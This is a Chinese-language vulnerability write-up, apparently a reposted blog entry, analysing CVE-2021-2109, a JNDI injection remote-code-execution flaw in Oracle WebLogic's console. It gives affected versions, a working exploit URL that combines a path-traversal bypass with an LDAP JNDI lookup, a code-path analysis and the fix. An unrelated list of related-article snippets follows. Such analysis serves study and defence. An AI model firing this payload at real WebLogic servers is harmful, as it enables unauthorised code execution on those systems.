CVE-2021-2109 WebLogic JNDI 注入

news2024/11/26 18:27:55

0x01 前言

学习一下 WebLogic JNDI 注入 RCE(CVE-2021-2109)

0x02 环境搭建

和之前 WebLogic 的环境搭建是一致的,本文不再赘述。

不过值得一提的是,我的 weblogic 版本是 10.3.6;需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依赖里面

0x03 漏洞分析与复现

漏洞影响版本与前提条件

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。

拥有访问 /console/consolejndi.portal 页面的用户权限,或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析

漏洞原理

WebLogic 的 /console/consolejndi.portal 接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle 类,从而造成 RCE。

漏洞复现

  • • payload 如下

http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)

我本地开启了一个 JNDI 的 Evil Class 和 Server

ca163ac23a0b4492c36a35259b95e816.png

用 payload 打成功

0ee7301a970ba782b5ecc85bdbe7cc25.png

漏洞分析

根据 payload 分析,先从 consolejndi.portal 开始看起,.portal 文件就类似于一个 servlet,在 consolejndi.portal 中存在 JNDI Binding 操作的处理容器,如图

5a05a505d0ba9f090cd6f23de7d08d41.png

具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet

2da866535ab85d268da1813bd5d2b99d.png

去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction 类中,发现存在一个 execute() 方法,疑似存在 jndi 注入的漏洞。

c1755794879473427f2d44bbf26f0250.png

观察需要如何构造恶意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean); 得来,而 serverMBean 是通过 domainMBean.lookupServer(serverName); 得来,其中一系列关系我将会由下图说明

9bded01cd6ec561414c674a0d8098fcf.png

接着我们自上而下顺序看代码,先是强转了一个 JndiBindingHandle 类,这里面 getHandleContext() 的逻辑并不复杂,最终会调用 JndiBindingHandle 的构造函数。

0259635fd8ca266b4a1179ee54590e99.png

如图,我们在 payload 当中的这一段被放进了构造函的 type 与 objectIdentifier 中,而 "ldapxxxx" 这一段会被放在 components 中,由分号分隔

JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer")

继续往下看,我们想要进入 JNDI 注入的那一段代码,需要满足两个条件,一个是 serverMBean != null,另一个是 c != null,我们进到 serverMBean 看一下代码逻辑

  • • lookupServer 是 DommainMBean 接口的方法,我们去看它的实现类

3c4364f1962c39a74cf1a7e9786bf263.png b6c9d86ecb43dff1714c7bcb76e55400.png

实际上这里是动态代理调用的,会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke 下,其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代码逻辑在实现类当中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer

47a3ed3c093525dd760e1c1863afbf2b.png

我们需要走到 do while 的逻辑里面,返回 var3,而不是返回 null

06c4992647ce2663126907c312942b12.png

通过调试得到 var2 的值为 AdminServer,这里没有其他的值了,原因如图

32f697e96c48af0e5877abaef89e6c35.png f6c0a4e898a70b0182291c7f4d926b8d.png

所以此处要求我们输入的 var1 与 AdminServer 相同,回过头去看 var1 是什么呢,var1 其实是 serverName

5aef3a35d71a5aafd0c1aa97aa11dd49.png

发现 serverName 也是可控的

50126682baf3de7f54a6d3bb7199c9fe.png

现在 serverBean != null 没问题,就要看 jndi lookup 的地址是否可控。

很明显,jndi lookup 的地址也是可控的

74b010227674da11c34ffa4675d42a1d.png

我们进到 JndiBindingHandle 类去看一下 set/getComponents() 的逻辑,先调用了 HandleImpl#getComponent

e5f3e3c8420489e7dd7022ce01e57455.png

跟进

6a73f70182d8250554ec731ffbef9355.png

主要逻辑就是在讲,以 ; 分隔,如此一来,我们就可控 context 与 binding,可以进行 jndi 注入

最后捋一下整体条件

1、;号隔开 jndi 地址 2、serverName 必须为 AdminServer

0x04 漏洞修复

根据 Y4er 师傅这里的说法是,对 Jndi 的黑名单进行了判断,如图

72623ef472fc5d03017629581cfbc27e.jpeg

0x05 小结

不算难的一个漏洞,只是环境搭建当时踩了很多坑,欢迎师傅们与我交流踩坑问题,我会竭力帮助。

0x06 Reference

https://y4er.com/posts/weblogic-cve-2021-2109-jndi-rce/

7fae9d5ee9baa9a661cbe3f94cadabd0.gif

f338f5c64d7569e84ac4395060c8b949.png

7af9c1ae2417d5f0c36388ff0c11af7b.gif

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全、热点安全研究分析等安全相关

通过审核并发布能收获200-800不等的稿酬

更多详情介绍,点我查看

f9c36bc900cb5493412f540e7dfbfc38.png

4d4be007be0adb380fbe1a34e0278146.png

1eea4dee60b49f069ecf88a8b587e9fb.gif

靶场实操,戳“阅读原文“

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/384729.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

打电话,玩手机、摔倒行人行为识别

文章大纲 数据集准备一些难点paddle 解决方案行为识别打电话摔倒开源解决方案前文: 深度学习与视频分析简介视频分析:基于目标检测(YOLO)实现走路看手机检测、玩手机检测、跌倒检测等数据集准备 我们可以从开源数据中挑选一些 参考文章: 使用python 脚本挑出coco 数据集…

【C++的OpenCV】第九课-OpenCV图像常用操作(六):图像形态学-阈值的概念、功能及操作(threshold()函数))

目录一、阈值(thresh)的概念二、阈值在图形学中的用途三、阈值的作用和操作3.1 在OpenCV中可以进行的阈值操作3.2 操作实例3.2.1 threshold()函数介绍3.2.2 实例3.2.3 结果上节课的内容(作者还是鼓励各位同学按照顺序进行学习哦)&…

易基因|m6A RNA甲基化研究的数据挖掘思路:干货系列

大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。关于m6A甲基化研究思路(1)整体把握m6A甲基化图谱特征:m6A peak数量变化、m6A修饰基因数量变化、单个基因m6A peak数量分析、m6A peak在基因元件上的分布…

IP协议的漏洞及防护措施

文章目录一、TCP/IP协议族二、IP协议三、IP协议的安全问题及防护措施一、TCP/IP协议族 二、IP协议 网际协议(Internet Protocol,IP)是TCP/IP协议族的核心,也是网际层最重要的协议。 IP数据报由首部和数据两部分组成&#xff1b…

Spark性能优化五 算子优化

文章目录(一)map 和 mapPartitions(二)foreach 和 foreachPartition(三)repartition的使用(四)reduceByKey 和 groupByKey的区别(一)map 和 mapPartitions m…

解决Visual C++ Redistributable安装找不到vc_runtimeMinimum_x86.msi最简单办法

今天在安装Fritzing的时候,遇到了需要Visual C Redistributable支持包,所以就动手安装,发现居然不能安装,安装几次居然错误提示所需要的安装包*.MSI的居然名称还不用。我也是下载了各种版本来试图靠运气过关,结果失败告…

Linux下安装prometheus grafana

1 安装prometheus1.1 下载prometheus下载地址https://prometheus.io/download/#prometheus下载wget https://github.com/prometheus/prometheus/releases/download/v2.42.0/prometheus-2.42.0.linux-amd64.tar.gz1.2 安装# 新建目录,并进入目标目录 mkdir -p /middl…

Java语言如何求平方根

问题 在编程时,会遇到求平方根的问题,本次问题讲到如何使用Java来求解平方根。 方法 使用java.lang.Math类的sqrt(double)方法求平方根。Math是java.lang包中的类,所以就可以直接使用这个类。Double为对象中的基本类型。例如求正整数16的平方…

Vue 2

文章目录1. 简介2. 第一个Vue程序3. 指令3.1 判断循环3.2 操作属性3.3 绑定事件3.4 表单中数据双向绑定3.5 其他内置指令3.6 自定义指令4. 组件4.1 全局注册4.2 局部注册4.3 组件通讯4.4 单文件组件5. 组件插槽5.1 单个插槽5.2 具名插槽5.3 作用域插槽6. 内置组件6.1 component…

智能客服系统:为企业提升客户满意度

随着科技的不断进步,电话营销、呼叫中心机器人、语音自助服务等领域的智能客服系统也得到了飞速的发展。这些技术的出现,让企业能够更加高效地管理客户服务,提高客户满意度,从而在市场竞争中占据优势。 电话营销是企业推广产品、服…

g2o源码阅读

之前写的g2o源码阅读笔记,分享给有需要的人 整个文档请自行下载,这里只贴一个图片。

微信小程序第一节 —— 自定义顶部、底部导航栏以及获取胶囊体位置信息。

一、前言 大家好!我是 是江迪呀。我们在进行微信小程序开发时,常常需要自定义一些东西,比如自定义顶部导航、自定义底部导航等等。那么知道这些自定义内容的具体位置、以及如何适配不同的机型就变得尤为重要。下面让我以在iPhone机型&#x…

Word处理控件Aspose.Words功能演示:使用 C# 拆分 MS Word 文档

Aspose.Words 是一种高级Word文档处理API,用于执行各种文档管理和操作任务。API支持生成,修改,转换,呈现和打印文档,而无需在跨平台应用程序中直接使用Microsoft Word。此外, Aspose API支持流行文件格式处…

Python——列表排序和赋值

(1)列表排序: 列表排序方法 ls.sort() 对列表ls 中的数据在原地进行排序 ls [13, 5, 73, 4, 9] ls.sort()ls.sort(reverseFalse) 默认升序,reverseTrue,降序 ls [13, 5, 73, 4, 9] ls.sort(reverseTrue)key指定排序时…

小红书「高效达人筛选攻略」

三八女神节降临,诸多品牌纷纷开启铺垫预热,在各大平台借势宣传。而聚集庞大年轻女性消费群体的小红书,对“她营销”的重要性不言而喻。节点序幕拉开,面对海量达人信息,如何提前积草屯粮、高效备战? 本期千瓜…

【数据结构】链表:看我如何顺藤摸瓜

👑专栏内容:数据结构⛪个人主页:子夜的星的主页💕座右铭:日拱一卒,功不唐捐 文章目录一、前言二、链表1、定义2、单链表Ⅰ、新建一个节点Ⅱ、内存泄漏Ⅲ、插入一个节点Ⅳ、销毁所有节点Ⅴ、反转一个链表3、…

云his系统源码 SaaS应用 基于Angular+Nginx+Java+Spring开发

云his系统源码 SaaS应用 功能易扩 统一对外接口管理 一、系统概述: 本套云HIS系统采用主流成熟技术开发,软件结构简洁、代码规范易阅读,SaaS应用,全浏览器访问前后端分离,多服务协同,服务可拆分&#xff…

【Linux要笑着学】进程创建 | 进程终止 | slab分派器

爆笑教程《看表情包学Linux》👈 猛戳订阅!​​​​​​​​​​​​💭 写在前面:本章我们主要讲解进程的创建与终止。首先讲解进程创建,fork 函数是我们早在讲解 "进程的概念" 章节就提到过的一个函数&#…

总结篇 字符串设备(一)

简介 1、字符设备是Linux驱动中最基本的一类设备驱动,字符设备就是一个个字节,按照字节流进行读写操作的设备。(例:按键,电池等,IIC,SPI,LCD)。这些设备的驱动就叫字符设备驱动。 在…

八股文(二)

一、 实现深拷贝和浅拷贝 1.深拷贝 function checkType(any) {return Object.prototype.toString.call(any).slice(8, -1) }//判断拷贝的要进行深拷贝的是数组还是对象,是数组的话进行数组拷贝,对象的话进行对象拷贝 //如果获得的数据是可遍历的&#…